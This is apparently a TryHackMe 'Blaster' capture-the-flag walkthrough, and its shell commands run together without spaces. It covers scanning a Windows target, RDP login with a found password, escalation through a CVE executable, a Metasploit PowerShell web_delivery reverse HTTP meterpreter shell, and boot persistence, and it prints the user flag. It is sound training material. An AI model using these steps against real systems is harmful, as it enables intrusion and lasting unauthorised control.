Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
suecho"10.10.53.21 blaster.thm">>/etc/hostsmkdirthm/blastercdthm/blastermkdir{nmap,content,exploits,scripts}# At the end of the room# To clean up the last line from the /etc/hosts filesed-i'$ d'/etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
ping-c3blaster.thm
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~128 secs. this indicates that the target is Windows, while *nix systems usually have a TTL of 64 secs.
Task 3 - Activate Forward Scanners and Launch Proton Torpedoes
3.1 How many ports are open on our target system?
Of course, start to check information scanning open ports:
Excellent! We find a new web path: /island, search it!
3.5 - Crawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover?
3.6 - Log into the machine via Microsoft Remote Desktop (MSRDP) and read user.txt. What are it's contents?
Task 4 - Breaching the Control Room
4.1 - When enumerating a machine, it's often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?
4.2 - Looks like an executable file is necessary for exploitation of this vulnerability and the user didn't really clean up very well after testing it. What is the name of this executable?
4.3 - Now that we've spawned a terminal, let's go ahead and run the command 'whoami'. What is the output of running this?
4.4- Now that we've confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator's desktop. What are the contents? Keep your terminal up after exploitation so we can use it in next task!
find/-typef-iname"user.txt"2>/dev/null
🚩User Flag (user.txt)
THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}
Task 5 - Adoption into the Collective
Return to your attacker machine for this next bit. Since we know our victim machine is running Windows Defender, let's go ahead and try a different method of payload delivery! For this, we'll be using the script web delivery exploit within Metasploit. Launch Metasploit now and select 'exploit/multi/script/web_delivery' for use.
5.1 - First, let's set the target to PSH (PowerShell). Which target number is PSH?
After setting your payload, set your lhost and lport accordingly such that you know which port the MSF web server is going to run on and that it'll be running on the TryHackMe network.
Finally, let's set our payload. In this case, we'll be using a simple reverse HTTP payload. Do this now with the command: 'set payload windows/meterpreter/reverse_http'. Following this, launch the attack as a job with the command 'run -j'.
Return to the terminal we spawned with our exploit. In this terminal, paste the command output by Metasploit after the job was launched. In this case, I've found it particularly helpful to host a simple python web server (python3 -m http.server) and host the command in a text file as copy and paste between the machines won't always work. Once you've run this command, return to our attacker machine and note that our reverse shell has spawned.
5.2 - Last but certainly not least, let's look at persistence mechanisms via Metasploit. What command can we run in our meterpreter console to setup persistence which automatically starts when the system boots? Don't include anything beyond the base command and the option for boot startup.
Run this command now with options that allow it to connect back to your host machine should the system reboot. Note, you'll need to create a listener via the handler exploit to allow for this remote connection in actual practice. Congrats, you've now gain full control over the remote host and have established persistence for further operations!
